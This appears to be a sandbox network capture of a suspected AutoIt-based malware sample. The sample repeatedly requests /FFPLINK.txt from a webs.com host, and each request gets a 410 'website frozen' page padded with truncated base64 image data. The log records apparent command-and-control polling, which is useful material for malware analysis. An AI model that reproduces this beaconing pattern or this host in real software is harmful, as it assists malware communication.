<!DOCTYPE html>.<html>.<head>. <META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW">. <title>This website is frozen.</title>. <style>. * { margin: 0; padding: 0; }. body {. background: #ddd url(data:image/jpeg;base64,/9j/4QAYRXhpZgAASUkqAAgAAAAAAAAAAAAAAP/sABFEdWNreQABAAQAAABkAAD/4QMraHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLwA8P3hwYWNrZXQgYmVnaW49Iu 7vyIgaWQ9Ilc1TTBNcENlaGlIenJlU3pOVGN6a2M5ZCI/PiA8eDp4bXBtZXRhIHhtbG5zOng9ImFkb2JlOm5zOm1ldGEvIiB4OnhtcHRrPSJBZG9iZSBYTVAgQ29yZSA1LjAtYzA2MCA2MS4xMzQ3NzcsIDIwMTAvMDIvMTItMTc6MzI6MDAgICAgICAgICI IDxyZGY6UkRGIHhtbG5zOnJkZj0iaHR0cDovL3d3dy53My5vcmcvMTk5OS8wMi8yMi1yZGYtc3ludGF4LW5zIyI IDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiIHhtbG5zOnhtcD0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bXA6Q3JlYXRvclRvb2w9IkFkb2JlIFBob3Rvc2hvcCBDUzUgTWFjaW50b3NoIiB4bXBNTTpJbnN0YW5jZUlEPSJ4bXAuaWlkOjMxNjcxQzhCRTA4QzExRTBCODNFQTdFNzk3OTExODMzIiB4bXBNTTpEb2N1bWVudElEPSJ4bXAuZGlkOjMxNjcxQzhDRTA4QzExRTBCODNFQTdFNzk3OTExODMzIj4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6MzE2NzFDODlFMDhDMTFFMEI4M0VBN0U3OTc5MTE4MzMiIHN0UmVmOmRvY3VtZW50SUQ9InhtcC5kaWQ6MzE2NzFDOEFFMDhDMTFFMEI4M0VBN0U3OTc5MTE4MzMiLz4gPC9yZGY6RGVzY3JpcHRpb24 IDwvcmRmOlJERj4gPC94OnhtcG1ldGE IDw/eHBhY2tldCBlbmQ9InIiPz7/7gAOQWRvYmUAZMAAAAAB/9sAhAABAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAgICAgICAgICAgID
<<
<<< skipped >>>
GET /FFPLINK.txt HTTP/1.1
User-Agent: AutoIt
Host: linhdanhthue007.webs.com
Cache-Control: no-cache
Cookie: fwww=d56a56115a080121e9045a2aa7a8a0d0eeaa157706d0d64b122b14f9ff2e4e7b
HTTP/1.1 410 Gone
Content-Type: text/html
Date: Mon, 05 May 2014 21:06:17 GMT
Connection: close
Server: Webs.com/1.0
<!DOCTYPE html>.<html>.<head>. <META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW">. <title>This website is frozen.</title>. <style>. * { margin: 0; padding: 0; }. body {. background: #ddd url(data:image/jpeg;base64,/9j/4QAYRXhpZgAASUkqAAgAAAAAAAAAAAAAAP/sABFEdWNreQABAAQAAABkAAD/4QMraHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLwA8P3hwYWNrZXQgYmVnaW49Iu 7vyIgaWQ9Ilc1TTBNcENlaGlIenJlU3pOVGN6a2M5ZCI/PiA8eDp4bXBtZXRhIHhtbG5zOng9ImFkb2JlOm5zOm1ldGEvIiB4OnhtcHRrPSJBZG9iZSBYTVAgQ29yZSA1LjAtYzA2MCA2MS4xMzQ3NzcsIDIwMTAvMDIvMTItMTc6MzI6MDAgICAgICAgICI IDxyZGY6UkRGIHhtbG5zOnJkZj0iaHR0cDovL3d3dy53My5vcmcvMTk5OS8wMi8yMi1yZGYtc3ludGF4LW5zIyI IDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiIHhtbG5zOnhtcD0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bXA6Q3JlYXRvclRvb2w9IkFkb2JlIFBob3Rvc2hvcCBDUzUgTWFjaW50b3NoIiB4bXBNTTpJbnN0YW5jZUlEPSJ4bXAuaWlkOjMxNjcxQzhCRTA4QzExRTBCODNFQTdFNzk3OTExODMzIiB4bXBNTTpEb2N1bWVudElEPSJ4bXAuZGlkOjMxNjcxQzhDRTA4QzExRTBCODNFQTdFNzk3OTExODMzIj4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6MzE2NzFDODlFMDhDMTFFMEI4M0VBN0U3OTc5MTE4MzMiIHN0UmVmOmRvY3VtZW50SUQ9InhtcC5kaWQ6MzE2NzFDOEFFMDhDMTFFMEI4M0VBN0U3OTc5MTE4MzMiLz4gPC9yZGY6RGVzY3JpcHRpb24 IDwvcmRmOlJERj4gPC94OnhtcG1ldGE IDw/eHBhY2tldCBlbmQ9InIiPz7/7gAOQWRvYmUAZMAAAAAB/9sAhAABAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAgICAgICAgICAgID
<<
<<< skipped >>>
GET /FFPLINK.txt HTTP/1.1
User-Agent: AutoIt
Host: linhdanhthue007.webs.com
Cache-Control: no-cache
Cookie: fwww=d56a56115a080121e9045a2aa7a8a0d0eeaa157706d0d64b122b14f9ff2e4e7b
HTTP/1.1 410 Gone
Content-Type: text/html
Date: Mon, 05 May 2014 21:06:21 GMT
Connection: close
Server: Webs.com/1.0
<!DOCTYPE html>.<html>.<head>. <META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW">. <title>This website is frozen.</title>. <style>. * { margin: 0; padding: 0; }. body {. background: #ddd url(data:image/jpeg;base64,/9j/4QAYRXhpZgAASUkqAAgAAAAAAAAAAAAAAP/sABFEdWNreQABAAQAAABkAAD/4QMraHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLwA8P3hwYWNrZXQgYmVnaW49Iu 7vyIgaWQ9Ilc1TTBNcENlaGlIenJlU3pOVGN6a2M5ZCI/PiA8eDp4bXBtZXRhIHhtbG5zOng9ImFkb2JlOm5zOm1ldGEvIiB4OnhtcHRrPSJBZG9iZSBYTVAgQ29yZSA1LjAtYzA2MCA2MS4xMzQ3NzcsIDIwMTAvMDIvMTItMTc6MzI6MDAgICAgICAgICI IDxyZGY6UkRGIHhtbG5zOnJkZj0iaHR0cDovL3d3dy53My5vcmcvMTk5OS8wMi8yMi1yZGYtc3ludGF4LW5zIyI IDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiIHhtbG5zOnhtcD0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bXA6Q3JlYXRvclRvb2w9IkFkb2JlIFBob3Rvc2hvcCBDUzUgTWFjaW50b3NoIiB4bXBNTTpJbnN0YW5jZUlEPSJ4bXAuaWlkOjMxNjcxQzhCRTA4QzExRTBCODNFQTdFNzk3OTExODMzIiB4bXBNTTpEb2N1bWVudElEPSJ4bXAuZGlkOjMxNjcxQzhDRTA4QzExRTBCODNFQTdFNzk3OTExODMzIj4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6MzE2NzFDODlFMDhDMTFFMEI4M0VBN0U3OTc5MTE4MzMiIHN0UmVmOmRvY3VtZW50SUQ9InhtcC..
GET /FFPLINK.txt HTTP/1.1
User-Agent: AutoIt
Host: linhdanhthue007.webs.com
Cache-Control: no-cache
Cookie: fwww=d56a56115a080121e9045a2aa7a8a0d0eeaa157706d0d64b122b14f9ff2e4e7b
HTTP/1.1 410 Gone
Content-Type: text/html
Date: Mon, 05 May 2014 21:06:23 GMT
Connection: close
Server: Webs.com/1.0
<!DOCTYPE html>.<html>.<head>. <META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW">. <title>This website is frozen.</title>. <style>. * { margin: 0; padding: 0; }. body {. background: #ddd url(data:image/jpeg;base64,/9j/4QAYRXhpZgAASUkqAAgAAAAAAAAAAAAAAP/sABFEdWNreQABAAQAAABkAAD/4QMraHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLwA8P3hwYWNrZXQgYmVnaW49Iu 7vyIgaWQ9Ilc1TTBNcENlaGlIenJlU3pOVGN6a2M5ZCI/PiA8eDp4bXBtZXRhIHhtbG5zOng9ImFkb2JlOm5zOm1ldGEvIiB4OnhtcHRrPSJBZG9iZSBYTVAgQ29yZSA1LjAtYzA2MCA2MS4xMzQ3NzcsIDIwMTAvMDIvMTItMTc6MzI6MDAgICAgICAgICI IDxyZGY6UkRGIHhtbG5zOnJkZj0iaHR0cDovL3d3dy53My5vcmcvMTk5OS8wMi8yMi1yZGYtc3ludGF4LW5zIyI IDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiIHhtbG5zOnhtcD0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bXA6Q3JlYXRvclRvb2w9IkFkb2JlIFBob3Rvc2hvcCBDUzUgTWFjaW50b3NoIiB4bXBNTTpJbnN0YW5jZUlEPSJ4bXAuaWlkOjMxNjcxQzhCRTA4QzExRTBCODNFQTdFNzk3OTExODMzIiB4bXBNTTpEb2N1bWVudElEPSJ4bXAuZGlkOjMxNjcxQzhDRTA4QzExRTBCODNFQTdFNzk3OTExODMzIj4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6MzE2NzFDODlFMDhDMTFFMEI4M0VBN0U3OTc5MTE4MzMiIHN0UmVmOmRvY3VtZW50SUQ9InhtcC5kaWQ6MzE2NzFDOEFFMDhDMTFFMEI4M0VBN0U3OTc5MTE4MzMiLz4gPC9yZGY6RGVzY3JpcHRpb24 IDwvcmRmOlJERj4gPC94OnhtcG1ldGE IDw/eHBhY2tldCBlbmQ9InIiPz7/7gAOQWRvYmUAZMAAAAAB/9sAhAABAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAgICAgICAgICAgID
<<
<<< skipped >>>
GET /FFPLINK.txt HTTP/1.1
User-Agent: AutoIt
Host: linhdanhthue007.webs.com
Cache-Control: no-cache
Cookie: fwww=d56a56115a080121e9045a2aa7a8a0d0eeaa157706d0d64b122b14f9ff2e4e7b
HTTP/1.1 410 Gone
Content-Type: text/html
Date: Mon, 05 May 2014 21:06:02 GMT
Connection: close
Server: Webs.com/1.0
<!DOCTYPE html>.<html>.<head>. <META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW">. <title>This website is frozen.</title>. <style>. * { margin: 0; padding: 0; }. body {. background: #ddd url(data:image/jpeg;base64,/9j/4QAYRXhpZgAASUkqAAgAAAAAAAAAAAAAAP/sABFEdWNreQABAAQAAABkAAD/4QMraHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLwA8P3hwYWNrZXQgYmVnaW49Iu 7vyIgaWQ9Ilc1TTBNcENlaGlIenJlU3pOVGN6a2M5ZCI/PiA8eDp4bXBtZXRhIHhtbG5zOng9ImFkb2JlOm5zOm1ldGEvIiB4OnhtcHRrPSJBZG9iZSBYTVAgQ29yZSA1LjAtYzA2MCA2MS4xMzQ3NzcsIDIwMTAvMDIvMTItMTc6MzI6MDAgICAgICAgICI IDxyZGY6UkRGIHhtbG5zOnJkZj0iaHR0cDovL3d3dy53My5vcmcvMTk5OS8wMi8yMi1yZGYtc3ludGF4LW5zIyI IDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiIHhtbG5zOnhtcD0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bXA6Q3JlYXRvclRvb2w9IkFkb2JlIFBob3Rvc2hvcCBDUzUgTWFjaW50b3NoIiB4bXBNTTpJbnN0YW5jZUlEPSJ4bXAuaWlkOjMxNjcxQzhCRTA4QzExRTBCODNFQTdFNzk3OTExODMzIiB4bXBNTTpEb2N1bWVudElEPSJ4bXAuZGlkOjMxNjcxQzhDRTA4QzExRTBCODNFQTdFNzk3OTExODMzIj4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6MzE2NzFDODlFMDhDMTFFMEI4M0VBN0U3OTc5MTE4MzMiIHN0UmVmOmRvY3VtZW50SUQ9InhtcC..
GET /FFPLINK.txt HTTP/1.1
User-Agent: AutoIt
Host: linhdanhthue007.webs.com
Cache-Control: no-cache
Cookie: fwww=d56a56115a080121e9045a2aa7a8a0d0eeaa157706d0d64b122b14f9ff2e4e7b
HTTP/1.1 410 Gone
Content-Type: text/html
Date: Mon, 05 May 2014 21:06:13 GMT
Connection: close
Server: Webs.com/1.0
<!DOCTYPE html>.<html>.<head>. <META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW">. <title>This website is frozen.</title>. <style>. * { margin: 0; padding: 0; }. body {. background: #ddd url(data:image/jpeg;base64,/9j/4QAYRXhpZgAASUkqAAgAAAAAAAAAAAAAAP/sABFEdWNreQABAAQAAABkAAD/4QMraHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLwA8P3hwYWNrZXQgYmVnaW49Iu 7vyIgaWQ9Ilc1TTBNcENlaGlIenJlU3pOVGN6a2M5ZCI/PiA8eDp4bXBtZXRhIHhtbG5zOng9ImFkb2JlOm5zOm1ldGEvIiB4OnhtcHRrPSJBZG9iZSBYTVAgQ29yZSA1LjAtYzA2MCA2MS4xMzQ3NzcsIDIwMTAvMDIvMTItMTc6MzI6MDAgICAgICAgICI IDxyZGY6UkRGIHhtbG5zOnJkZj0iaHR0cDovL3d3dy53My5vcmcvMTk5OS8wMi8yMi1yZGYtc3ludGF4LW5zIyI IDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiIHhtbG5zOnhtcD0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bXA6Q3JlYXRvclRvb2w9IkFkb2JlIFBob3Rvc2hvcCBDUzUgTWFjaW50b3NoIiB4bXBNTTpJbnN0YW5jZUlEPSJ4bXAuaWlkOjMxNjcxQzhCRTA4QzExRTBCODNFQTdFNzk3OTExODMzIiB4bXBNTTpEb2N1bWVudElEPSJ4bXAuZGlkOjMxNjcxQzhDRTA4QzExRTBCODNFQTdFNzk3OTExODMzIj4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6MzE2NzFDODlFMDhDMTFFMEI4M0VBN0U3OTc5MTE4MzMiIHN0UmVmOmRvY3VtZW50SUQ9InhtcC..
GET /FFPLINK.txt HTTP/1.1
User-Agent: AutoIt
Host: linhdanhthue007.webs.com
Cache-Control: no-cache
Cookie: fwww=d56a56115a080121e9045a2aa7a8a0d0eeaa157706d0d64b122b14f9ff2e4e7b
HTTP/1.1 410 Gone
Content-Type: text/html
Date: Mon, 05 May 2014 21:06:40 GMT
Connection: close
Server: Webs.com/1.0
<!DOCTYPE html>.<html>.<head>. <META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW">. <title>This website is frozen.</title>. <style>. * { margin: 0; padding: 0; }. body {. background: #ddd url(data:image/jpeg;base64,/9j/4QAYRXhpZgAASUkqAAgAAAAAAAAAAAAAAP/sABFEdWNreQABAAQAAABkAAD/4QMraHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLwA8P3hwYWNrZXQgYmVnaW49Iu 7vyIgaWQ9Ilc1TTBNcENlaGlIenJlU3pOVGN6a2M5ZCI/PiA8eDp4bXBtZXRhIHhtbG5zOng9ImFkb2JlOm5zOm1ldGEvIiB4OnhtcHRrPSJBZG9iZSBYTVAgQ29yZSA1LjAtYzA2MCA2MS4xMzQ3NzcsIDIwMTAvMDIvMTItMTc6MzI6MDAgICAgICAgICI IDxyZGY6UkRGIHhtbG5zOnJkZj0iaHR0cDovL3d3dy53My5vcmcvMTk5OS8wMi8yMi1yZGYtc3ludGF4LW5zIyI IDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiIHhtbG5zOnhtcD0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bXA6Q3JlYXRvclRvb2w9IkFkb2JlIFBob3Rvc2hvcCBDUzUgTWFjaW50b3NoIiB4bXBNTTpJbnN0YW5jZUlEPSJ4bXAuaWlkOjMxNjcxQzhCRTA4QzExRTBCODNFQTdFNzk3OTExODMzIiB4bXBNTTpEb2N1bWVudElEPSJ4bXAuZGlkOjMxNjcxQzhDRTA4QzExRTBCODNFQTdFNzk3OTExODMzIj4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6MzE2NzFDODlFMDhDMTFFMEI4M0VBN0U3OTc5MTE4MzMiIHN0UmVmOmRvY3VtZW50SUQ9InhtcC..
GET /FFPLINK.txt HTTP/1.1
User-Agent: AutoIt
Host: linhdanhthue007.webs.com
Cache-Control: no-cache
Cookie: fwww=d56a56115a080121e9045a2aa7a8a0d0eeaa157706d0d64b122b14f9ff2e4e7b
HTTP/1.1 410 Gone
Content-Type: text/html
Date: Mon, 05 May 2014 21:06:07 GMT
Connection: close
Server: Webs.com/1.0
<!DOCTYPE html>.<html>.<head>. <META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW">. <title>This website is frozen.</title>. <style>. * { margin: 0; padding: 0; }. body {. background: #ddd url(data:image/jpeg;base64,/9j/4QAYRXhpZgAASUkqAAgAAAAAAAAAAAAAAP/sABFEdWNreQABAAQAAABkAAD/4QMraHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLwA8P3hwYWNrZXQgYmVnaW49Iu 7vyIgaWQ9Ilc1TTBNcENlaGlIenJlU3pOVGN6a2M5ZCI/PiA8eDp4bXBtZXRhIHhtbG5zOng9ImFkb2JlOm5zOm1ldGEvIiB4OnhtcHRrPSJBZG9iZSBYTVAgQ29yZSA1LjAtYzA2MCA2MS4xMzQ3NzcsIDIwMTAvMDIvMTItMTc6MzI6MDAgICAgICAgICI IDxyZGY6UkRGIHhtbG5zOnJkZj0iaHR0cDovL3d3dy53My5vcmcvMTk5OS8wMi8yMi1yZGYtc3ludGF4LW5zIyI IDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiIHhtbG5zOnhtcD0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bXA6Q3JlYXRvclRvb2w9IkFkb2JlIFBob3Rvc2hvcCBDUzUgTWFjaW50b3NoIiB4bXBNTTpJbnN0YW5jZUlEPSJ4bXAuaWlkOjMxNjcxQzhCRTA4QzExRTBCODNFQTdFNzk3OTExODMzIiB4bXBNTTpEb2N1bWVudElEPSJ4bXAuZGlkOjMxNjcxQzhDRTA4QzExRTBCODNFQTdFNzk3OTExODMzIj4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6MzE2NzFDODlFMDhDMTFFMEI4M0VBN0U3OTc5MTE4MzMiIHN0UmVmOmRvY3VtZW50SUQ9InhtcC..
GET /FFPLINK.txt HTTP/1.1
User-Agent: AutoIt
Host: linhdanhthue007.webs.com
Cache-Control: no-cache
Cookie: fwww=d56a56115a080121e9045a2aa7a8a0d0eeaa157706d0d64b122b14f9ff2e4e7b
HTTP/1.1 410 Gone
Content-Type: text/html
Date: Mon, 05 May 2014 21:06:08 GMT
Connection: close
Server: Webs.com/1.0
<!DOCTYPE html>.<html>.<head>. <META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW">. <title>This website is frozen.</title>. <style>. * { margin: 0; padding: 0; }. body {. background: #ddd url(data:image/jpeg;base64,/9j/4QAYRXhpZgAASUkqAAgAAAAAAAAAAAAAAP/sABFEdWNreQABAAQAAABkAAD/4QMraHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLwA8P3hwYWNrZXQgYmVnaW49Iu 7vyIgaWQ9Ilc1TTBNcENlaGlIenJlU3pOVGN6a2M5ZCI/PiA8eDp4bXBtZXRhIHhtbG5zOng9ImFkb2JlOm5zOm1ldGEvIiB4OnhtcHRrPSJBZG9iZSBYTVAgQ29yZSA1LjAtYzA2MCA2MS4xMzQ3NzcsIDIwMTAvMDIvMTItMTc6MzI6MDAgICAgICAgICI IDxyZGY6UkRGIHhtbG5zOnJkZj0iaHR0cDovL3d3dy53My5vcmcvMTk5OS8wMi8yMi1yZGYtc3ludGF4LW5zIyI IDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiIHhtbG5zOnhtcD0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bXA6Q3JlYXRvclRvb2w9IkFkb2JlIFBob3Rvc2hvcCBDUzUgTWFjaW50b3NoIiB4bXBNTTpJbnN0YW5jZUlEPSJ4bXAuaWlkOjMxNjcxQzhCRTA4QzExRTBCODNFQTdFNzk3OTExODMzIiB4bXBNTTpEb2N1bWVudElEPSJ4bXAuZGlkOjMxNjcxQzhDRTA4QzExRTBCODNFQTdFNzk3OTExODMzIj4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6MzE2NzFDODlFMDhDMTFFMEI4M0VBN0U3OTc5MTE4MzMiIHN0UmVmOmRvY3VtZW50SUQ9InhtcC5kaWQ6MzE2NzFDOEFFMDhDMTFFMEI4M0VBN0U3OTc5MTE4MzMiLz4gPC9yZGY6RGVzY3JpcHRpb24 IDwvcmRmOlJERj4gPC94OnhtcG1ldGE IDw/eHBhY2tldCBlbmQ9InIiPz7/7gAOQWRvYmUAZMAAAAAB/9sAhAABAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAgICAgICAgICAgID
<<
<<< skipped >>>
GET /FFPLINK.txt HTTP/1.1
User-Agent: AutoIt
Host: linhdanhthue007.webs.com
Cache-Control: no-cache
Cookie: fwww=d56a56115a080121e9045a2aa7a8a0d0eeaa157706d0d64b122b14f9ff2e4e7b
HTTP/1.1 410 Gone
Content-Type: text/html
Date: Mon, 05 May 2014 21:06:23 GMT
Connection: close
Server: Webs.com/1.0
<!DOCTYPE html>.<html>.<head>. <META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW">. <title>This website is frozen.</title>. <style>. * { margin: 0; padding: 0; }. body {. background: #ddd url(data:image/jpeg;base64,/9j/4QAYRXhpZgAASUkqAAgAAAAAAAAAAAAAAP/sABFEdWNreQABAAQAAABkAAD/4QMraHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLwA8P3hwYWNrZXQgYmVnaW49Iu 7vyIgaWQ9Ilc1TTBNcENlaGlIenJlU3pOVGN6a2M5ZCI/PiA8eDp4bXBtZXRhIHhtbG5zOng9ImFkb2JlOm5zOm1ldGEvIiB4OnhtcHRrPSJBZG9iZSBYTVAgQ29yZSA1LjAtYzA2MCA2MS4xMzQ3NzcsIDIwMTAvMDIvMTItMTc6MzI6MDAgICAgICAgICI IDxyZGY6UkRGIHhtbG5zOnJkZj0iaHR0cDovL3d3dy53My5vcmcvMTk5OS8wMi8yMi1yZGYtc3ludGF4LW5zIyI IDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiIHhtbG5zOnhtcD0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bXA6Q3JlYXRvclRvb2w9IkFkb2JlIFBob3Rvc2hvcCBDUzUgTWFjaW50b3NoIiB4bXBNTTpJbnN0YW5jZUlEPSJ4bXAuaWlkOjMxNjcxQzhCRTA4QzExRTBCODNFQTdFNzk3OTExODMzIiB4bXBNTTpEb2N1bWVudElEPSJ4bXAuZGlkOjMxNjcxQzhDRTA4QzExRTBCODNFQTdFNzk3OTExODMzIj4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6MzE2NzFDODlFMDhDMTFFMEI4M0VBN0U3OTc5MTE4MzMiIHN0UmVmOmRvY3VtZW50SUQ9InhtcC..
GET /FFPLINK.txt HTTP/1.1
User-Agent: AutoIt
Host: linhdanhthue007.webs.com
Cache-Control: no-cache
Cookie: fwww=d56a56115a080121e9045a2aa7a8a0d0eeaa157706d0d64b122b14f9ff2e4e7b
HTTP/1.1 410 Gone
Content-Type: text/html
Date: Mon, 05 May 2014 21:06:34 GMT
Connection: close
Server: Webs.com/1.0
<!DOCTYPE html>.<html>.<head>. <META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW">. <title>This website is frozen.</title>. <style>. * { margin: 0; padding: 0; }. body {. background: #ddd url(data:image/jpeg;base64,/9j/4QAYRXhpZgAASUkqAAgAAAAAAAAAAAAAAP/sABFEdWNreQABAAQAAABkAAD/4QMraHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLwA8P3hwYWNrZXQgYmVnaW49Iu 7vyIgaWQ9Ilc1TTBNcENlaGlIenJlU3pOVGN6a2M5ZCI/PiA8eDp4bXBtZXRhIHhtbG5zOng9ImFkb2JlOm5zOm1ldGEvIiB4OnhtcHRrPSJBZG9iZSBYTVAgQ29yZSA1LjAtYzA2MCA2MS4xMzQ3NzcsIDIwMTAvMDIvMTItMTc6MzI6MDAgICAgICAgICI IDxyZGY6UkRGIHhtbG5zOnJkZj0iaHR0cDovL3d3dy53My5vcmcvMTk5OS8wMi8yMi1yZGYtc3ludGF4LW5zIyI IDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiIHhtbG5zOnhtcD0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bXA6Q3JlYXRvclRvb2w9IkFkb2JlIFBob3Rvc2hvcCBDUzUgTWFjaW50b3NoIiB4bXBNTTpJbnN0YW5jZUlEPSJ4bXAuaWlkOjMxNjcxQzhCRTA4QzExRTBCODNFQTdFNzk3OTExODMzIiB4bXBNTTpEb2N1bWVudElEPSJ4bXAuZGlkOjMxNjcxQzhDRTA4QzExRTBCODNFQTdFNzk3OTExODMzIj4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6MzE2NzFDODlFMDhDMTFFMEI4M0VBN0U3OTc5MTE4MzMiIHN0UmVmOmRvY3VtZW50SUQ9InhtcC5kaWQ6MzE2NzFDOEFFMDhDMTFFMEI4M0VBN0U3OTc5MTE4MzMiLz4gPC9yZGY6RGVzY3JpcHRpb24 IDwvcmRmOlJERj4gPC94OnhtcG1ldGE 